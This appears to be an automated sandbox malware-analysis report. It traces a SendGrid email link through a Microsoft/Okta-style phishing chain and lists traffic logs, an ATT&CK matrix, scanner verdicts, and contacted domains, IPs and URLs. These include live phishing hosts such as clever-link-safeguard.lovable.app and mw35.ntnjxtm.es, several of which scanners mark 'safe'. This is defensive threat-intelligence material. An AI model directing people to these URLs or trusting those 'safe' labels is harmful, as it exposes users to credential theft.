              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49807
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49806
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49805
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49804
              Source: unknownNetwork traffic detected: HTTP traffic on port 49773 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49803
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49802
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49768
              Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49767
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49766
              Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49765
              Source: unknownNetwork traffic detected: HTTP traffic on port 49783 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
              Source: unknownNetwork traffic detected: HTTP traffic on port 49838 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49761
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
              Source: unknownNetwork traffic detected: HTTP traffic on port 49815 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49702 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49770 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49809 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
              Source: unknownNetwork traffic detected: HTTP traffic on port 49778 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
              Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49753
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
              Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
              Source: unknownNetwork traffic detected: HTTP traffic on port 49835 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49786 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49761 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49804 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49775 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49716 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49749
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
              Source: unknownHTTPS traffic detected: 167.89.123.53:443 -> 192.168.2.16:49703 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 167.89.123.53:443 -> 192.168.2.16:49702 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 185.158.133.1:443 -> 192.168.2.16:49704 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.18.29.167:443 -> 192.168.2.16:49707 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.16.80.73:443 -> 192.168.2.16:49708 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 185.158.133.1:443 -> 192.168.2.16:49714 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 216.58.212.164:443 -> 192.168.2.16:49716 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.16:49725 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.16:49724 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.16:49727 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49728 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49729 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49732 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49733 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.51.122:443 -> 192.168.2.16:49734 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.51.122:443 -> 192.168.2.16:49735 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.16:49743 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49744 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49746 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.16:49756 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.16:49757 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.16:49758 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.16:49755 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.16:49759 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.16:49760 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49803 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49805 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.16:49806 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.16:49807 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.16:49808 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49809 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 40.126.31.128:443 -> 192.168.2.16:49814 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 40.126.31.128:443 -> 192.168.2.16:49815 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 95.101.182.65:443 -> 192.168.2.16:49820 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 20.190.160.4:443 -> 192.168.2.16:49835 version: TLS 1.2
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Windows\SystemTemp\scoped_dir6892_29177206
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile deleted: C:\Windows\SystemTemp\scoped_dir6892_29177206
              Source: classification engineClassification label: mal100.phis.evad.win@25/56@56/266
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Program Files\Google\Chrome\Application\Dictionaries
              Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2012,i,4693604612114877436,12251102111076231805,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=1564 /prefetch:3
              Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1"
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2012,i,4693604612114877436,12251102111076231805,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=1564 /prefetch:3
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\Google\Chrome\Application\Dictionaries

              Malware Analysis System Evasion

              barindex
              Source: Yara matchFile source: 1.3.d.script.csv, type: HTML
              Source: Yara matchFile source: 2.14..script.csv, type: HTML
              Source: Yara matchFile source: 2.15..script.csv, type: HTML
              Source: Yara matchFile source: 2.6.pages.csv, type: HTML
              Source: Yara matchFile source: 2.7.pages.csv, type: HTML
              Source: Yara matchFile source: 2.8.pages.csv, type: HTML
              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity Information1
              Scripting
              Valid AccountsWindows Management Instrumentation1
              Browser Extensions
              1
              Process Injection
              12
              Masquerading
              OS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System1
              Encrypted Channel
              Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault AccountsScheduled Task/Job1
              Scripting
              1
              Extra Window Memory Injection
              1
              Process Injection
              LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media4
              Non-Application Layer Protocol
              Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
              Deobfuscate/Decode Files or Information
              Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive5
              Application Layer Protocol
              Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
              File Deletion
              NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture3
              Ingress Tool Transfer
              Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
              Extra Window Memory Injection
              LSA SecretsInternet Connection DiscoverySSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand
              SourceDetectionScannerLabelLink
              https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=10%Avira URL Cloudsafe
              No Antivirus matches
              No Antivirus matches
              No Antivirus matches
              SourceDetectionScannerLabelLink
              https://clever-link-safeguard.lovable.app/assets/index-B7e2QGH1.js100%Avira URL Cloudmalware
              https://clever-link-safeguard.lovable.app/assets/index-WhSeoKW2.css100%Avira URL Cloudmalware
              https://clever-link-safeguard.lovable.app/cdn-cgi/rum?100%Avira URL Cloudmalware
              https://clever-link-safeguard.lovable.app/favicon.ico100%Avira URL Cloudmalware
              https://mw35.ntnjxtm.es/uvS8H5UapJWbxIjy8CP8aivIvP4l2URIMo14h459BC0wEeoEk9HeIdE17MoatY4CH42C2iA2zef2590%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/GDSherpa-regular.woff0%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/wxxbxEz8GID2tegRb5J5ooBInrQoqrz4hEL6VrzTxVq121300%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/abLbTpRuzuZf0pqzEef260%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/zcVFFQFRy09OAwAeYHgrytkTl1phiz0akYpIJjy0%Avira URL Cloudsafe
              https://a.nel.cloudflare.com/report/v4?s=a5g52m2p36ITagBgnHpp4NOJ%2FyzwCrHO%2Fwa5wdPPf1JRoTEIOybNWt0YODcJDTiC2XcC1GLHxtYLoCg5iTfse%2B314wVSONutfhDnJMtJCaafOvUJM2pZscobEQbj0%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/GDSherpa-bold.woff20%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/sdcXTitdENnD8gVOs3yiHEik4vTZ7PC73o0%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/34cbiWT3HYu22H4fLklgEVykKFK6peQ671100%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/wxWhSTMOG655aLMky6GgLcGnDrszEdij9IMDemh0xApGn4Lk9up1105901710%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/mnNty0NDXXLQyviMh2NGie7opYWcEC7YX2uvZOFaRw1nvJwj3QtZhPgMA9901430%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/xhlW4mAR3XLeDE1j0l0MdiZSDcmn6u7QdWJdkmAkGX5fYJ0tmcm0%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/kl8mPQzpGbirEdcRLxLz8tFXgV0Kw23q1dklQk4ciJSFysrOz8mW9ApmABxaHS2wx2200%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/klcplTgwNyGPdYzyQxuFUQFi9HCWNllQWGoppRjMK3Zs4O2nsJiSjS0UcbYF11KDCk9ab2250%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/GDSherpa-vf2.woff20%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/GDSherpa-vf.woff20%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/qrj4U6jTgRKvBdkLWZqdqfB3p2jw2ibQdQfKZTRYCuvoe01fiqo7ad5CrnBvyscrD8Fne1ef2310%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/op3aUwqrFucYzTnMlf8HnLN6yWXghEI2OWynhvS91Pql451380%Avira URL Cloudsafe
              https://t0b1.qakaco.ru/rand@zcnpdz0%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/564uvmiPCGur0GOdabNtQkW67160%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/GDSherpa-regular.woff20%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/rsra1UKjLx7gt4WZf7qbu2Ck17DBOf1DRrsKuvWFjKxwoCKh3QJVXy30Hg5eir9bygwef1910%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/GDSherpa-bold.woff0%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/ij4vumqyzIhPR8OaBYruvXmpBJpCdmnsDh1JejpCAezqCSWQx122100%Avira URL Cloudsafe
              https://mw35.ntnjxtm.es/favicon.ico0%Avira URL Cloudsafe
              https://a.nel.cloudflare.com/report/v4?s=8j96IIGivXYZFrllV0rTKW17pcwMe03E6O8zpOsnOmGv%2BZSIQX%2ByXnyVFqmkoo12TGEDrdWNTNRVSKGC9hoA95fYcJd5G1DCjXQbFz7FGeE1j%2BaCG013M6q4Li1E0%Avira URL Cloudsafe
              https://login.microsoftonline.com/common/handlers/watson0%Avira URL Cloudsafe
              https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedError_Core_PWRgAKrzdYnFW2jQnv9chg2.js0%Avira URL Cloudsafe
              NameIPActiveMaliciousAntivirus DetectionReputation
              a.nel.cloudflare.com
              35.190.80.1
              truefalse
                high
                s-part-0044.t-0009.fb-t-msedge.net
                13.107.253.72
                truefalse
                  high
                  e329293.dscd.akamaiedge.net
                  95.101.182.65
                  truefalse
                    high
                    static.cloudflareinsights.com
                    104.16.80.73
                    truefalse
                      high
                      developers.cloudflare.com
                      104.16.2.189
                      truefalse
                        high
                        t0b1.qakaco.ru
                        104.21.51.122
                        truefalse
                          unknown
                          github.com
                          140.82.121.4
                          truefalse
                            high
                            clever-link-safeguard.lovable.app
                            185.158.133.1
                            truefalse
                              high
                              u17065553.ct.sendgrid.net
                              167.89.123.53
                              truefalse
                                unknown
                                www.tm.a.prd.aadg.trafficmanager.net
                                40.126.31.128
                                truefalse
                                  high
                                  mw35.ntnjxtm.es
                                  104.21.96.1
                                  truetrue
                                    unknown
                                    code.jquery.com
                                    151.101.2.137
                                    truefalse
                                      high
                                      cdnjs.cloudflare.com
                                      104.17.24.14
                                      truefalse
                                        high
                                        challenges.cloudflare.com
                                        104.18.94.41
                                        truefalse
                                          high
                                          get.geojs.io
                                          104.26.0.100
                                          truefalse
                                            high
                                            kkmjqvsvvaa6ngoiljmdetqxm3ochus2brqkjpbbddbqyxpi4owk1k.idrisxw.es
                                            188.114.96.3
                                            truefalse
                                              unknown
                                              www.google.com
                                              216.58.212.164
                                              truefalse
                                                high
                                                cdn.gpteng.co
                                                104.18.29.167
                                                truefalse
                                                  high
                                                  d19d360lklgih4.cloudfront.net
                                                  13.33.187.120
                                                  truefalse
                                                    high
                                                    objects.githubusercontent.com
                                                    185.199.109.133
                                                    truefalse
                                                      high
                                                      s-part-0032.t-0009.t-msedge.net
                                                      13.107.246.60
                                                      truefalse
                                                        high
                                                        aadcdn.msftauth.net
                                                        unknown
                                                        unknownfalse
                                                          high
                                                          ok4static.oktacdn.com
                                                          unknown
                                                          unknownfalse
                                                            high
                                                            login.microsoftonline.com
                                                            unknown
                                                            unknownfalse
                                                              high
                                                              NameMaliciousAntivirus DetectionReputation
                                                              https://clever-link-safeguard.lovable.app/false
                                                                unknown
                                                                https://clever-link-safeguard.lovable.app/favicon.icotrue
                                                                • Avira URL Cloud: malware
                                                                unknown
                                                                https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7false
                                                                  high
                                                                  https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015false
                                                                    high
                                                                    https://mw35.ntnjxtm.es/sdcXTitdENnD8gVOs3yiHEik4vTZ7PC73ofalse
                                                                    • Avira URL Cloud: safe
                                                                    unknown
                                                                    https://code.jquery.com/jquery-3.6.0.min.jsfalse
                                                                      high
                                                                      https://mw35.ntnjxtm.es/wxxbxEz8GID2tegRb5J5ooBInrQoqrz4hEL6VrzTxVq12130false
                                                                      • Avira URL Cloud: safe
                                                                      unknown
                                                                      https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.jsfalse
                                                                        high
                                                                        https://mw35.ntnjxtm.es/uvS8H5UapJWbxIjy8CP8aivIvP4l2URIMo14h459BC0wEeoEk9HeIdE17MoatY4CH42C2iA2zef259false
                                                                        • Avira URL Cloud: safe
                                                                        unknown
                                                                        https://a.nel.cloudflare.com/report/v4?s=a5g52m2p36ITagBgnHpp4NOJ%2FyzwCrHO%2Fwa5wdPPf1JRoTEIOybNWt0YODcJDTiC2XcC1GLHxtYLoCg5iTfse%2B314wVSONutfhDnJMtJCaafOvUJM2pZscobEQbjfalse
                                                                        • Avira URL Cloud: safe
                                                                        unknown
                                                                        https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.cssfalse
                                                                          high
                                                                          https://mw35.ntnjxtm.es/GDSherpa-bold.woff2false
                                                                          • Avira URL Cloud: safe
                                                                          unknown
                                                                          https://login.microsoftonline.com/common/handlers/watsonfalse
                                                                          • Avira URL Cloud: safe
                                                                          unknown
                                                                          https://mw35.ntnjxtm.es/7nMfbs/true
                                                                            unknown
                                                                            https://mw35.ntnjxtm.es/GDSherpa-regular.wofffalse
                                                                            • Avira URL Cloud: safe
                                                                            unknown
                                                                            https://clever-link-safeguard.lovable.app/assets/index-B7e2QGH1.jstrue
                                                                            • Avira URL Cloud: malware
                                                                            unknown
                                                                            https://mw35.ntnjxtm.es/wxWhSTMOG655aLMky6GgLcGnDrszEdij9IMDemh0xApGn4Lk9up110590171false
                                                                            • Avira URL Cloud: safe
                                                                            unknown
                                                                            https://mw35.ntnjxtm.es/zcVFFQFRy09OAwAeYHgrytkTl1phiz0akYpIJjyfalse
                                                                            • Avira URL Cloud: safe
                                                                            unknown
                                                                            https://mw35.ntnjxtm.es/abLbTpRuzuZf0pqzEef26false
                                                                            • Avira URL Cloud: safe
                                                                            unknown
                                                                            https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallbackfalse
                                                                              high
                                                                              https://mw35.ntnjxtm.es/34cbiWT3HYu22H4fLklgEVykKFK6peQ67110false
                                                                              • Avira URL Cloud: safe
                                                                              unknown
                                                                              https://clever-link-safeguard.lovable.app/cdn-cgi/rum?true
                                                                              • Avira URL Cloud: malware
                                                                              unknown
                                                                              https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.cssfalse
                                                                                high
                                                                                https://mw35.ntnjxtm.es/mnNty0NDXXLQyviMh2NGie7opYWcEC7YX2uvZOFaRw1nvJwj3QtZhPgMA990143false
                                                                                • Avira URL Cloud: safe
                                                                                unknown
                                                                                https://mw35.ntnjxtm.es/xhlW4mAR3XLeDE1j0l0MdiZSDcmn6u7QdWJdkmAkGX5fYJ0tmcmfalse
                                                                                • Avira URL Cloud: safe
                                                                                unknown
                                                                                https://cdn.gpteng.co/gptengineer.jsfalse
                                                                                  high
                                                                                  https://mw35.ntnjxtm.es/klcplTgwNyGPdYzyQxuFUQFi9HCWNllQWGoppRjMK3Zs4O2nsJiSjS0UcbYF11KDCk9ab225false
                                                                                  • Avira URL Cloud: safe
                                                                                  unknown
                                                                                  https://mw35.ntnjxtm.es/GDSherpa-vf.woff2false
                                                                                  • Avira URL Cloud: safe
                                                                                  unknown
                                                                                  https://mw35.ntnjxtm.es/kl8mPQzpGbirEdcRLxLz8tFXgV0Kw23q1dklQk4ciJSFysrOz8mW9ApmABxaHS2wx220false
                                                                                  • Avira URL Cloud: safe
                                                                                  unknown
                                                                                  https://mw35.ntnjxtm.es/op3aUwqrFucYzTnMlf8HnLN6yWXghEI2OWynhvS91Pql45138false
                                                                                  • Avira URL Cloud: safe
                                                                                  unknown
                                                                                  https://developers.cloudflare.com/favicon.pngfalse
                                                                                    high
                                                                                    https://mw35.ntnjxtm.es/GDSherpa-vf2.woff2false
                                                                                    • Avira URL Cloud: safe
                                                                                    unknown
                                                                                    https://mw35.ntnjxtm.es/qrj4U6jTgRKvBdkLWZqdqfB3p2jw2ibQdQfKZTRYCuvoe01fiqo7ad5CrnBvyscrD8Fne1ef231false
                                                                                    • Avira URL Cloud: safe
                                                                                    unknown
                                                                                    https://clever-link-safeguard.lovable.app/assets/index-WhSeoKW2.csstrue
                                                                                    • Avira URL Cloud: malware
                                                                                    unknown
                                                                                    https://t0b1.qakaco.ru/rand@zcnpdzfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    unknown
                                                                                    https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.jsfalse
                                                                                      high
                                                                                      https://mw35.ntnjxtm.es/564uvmiPCGur0GOdabNtQkW6716false
                                                                                      • Avira URL Cloud: safe
                                                                                      unknown
                                                                                      https://login.microsoftonline.com/common/SAS/ProcessAuthfalse
                                                                                        unknown
                                                                                        https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedError_Core_PWRgAKrzdYnFW2jQnv9chg2.jsfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        unknown
                                                                                        https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFtrue
                                                                                          unknown
                                                                                          https://mw35.ntnjxtm.es/GDSherpa-regular.woff2false
                                                                                          • Avira URL Cloud: safe
                                                                                          unknown
                                                                                          https://mw35.ntnjxtm.es/rsra1UKjLx7gt4WZf7qbu2Ck17DBOf1DRrsKuvWFjKxwoCKh3QJVXy30Hg5eir9bygwef191false
                                                                                          • Avira URL Cloud: safe
                                                                                          unknown
                                                                                          https://mw35.ntnjxtm.es/ij4vumqyzIhPR8OaBYruvXmpBJpCdmnsDh1JejpCAezqCSWQx12210false
                                                                                          • Avira URL Cloud: safe
                                                                                          unknown
                                                                                          https://get.geojs.io/v1/ip/geo.jsonfalse
                                                                                            high
                                                                                            https://mw35.ntnjxtm.es/favicon.icofalse
                                                                                            • Avira URL Cloud: safe
                                                                                            unknown
                                                                                            https://a.nel.cloudflare.com/report/v4?s=8j96IIGivXYZFrllV0rTKW17pcwMe03E6O8zpOsnOmGv%2BZSIQX%2ByXnyVFqmkoo12TGEDrdWNTNRVSKGC9hoA95fYcJd5G1DCjXQbFz7FGeE1j%2BaCG013M6q4Li1Efalse
                                                                                            • Avira URL Cloud: safe
                                                                                            unknown
                                                                                            https://mw35.ntnjxtm.es/GDSherpa-bold.wofffalse
                                                                                            • Avira URL Cloud: safe
                                                                                            unknown
                                                                                            • No. of IPs < 25%
                                                                                            • 25% < No. of IPs < 50%
                                                                                            • 50% < No. of IPs < 75%
                                                                                            • 75% < No. of IPs
                                                                                            IPDomainCountryFlagASNASN NameMalicious
                                                                                            95.101.182.65
                                                                                            e329293.dscd.akamaiedge.netEuropean Union
                                                                                            20940AKAMAI-ASN1EUfalse
                                                                                            216.58.212.164
                                                                                            www.google.comUnited States
                                                                                            15169GOOGLEUSfalse
                                                                                            104.18.94.41
                                                                                            challenges.cloudflare.comUnited States
                                                                                            13335CLOUDFLARENETUSfalse
                                                                                            13.107.246.60
                                                                                            s-part-0032.t-0009.t-msedge.netUnited States
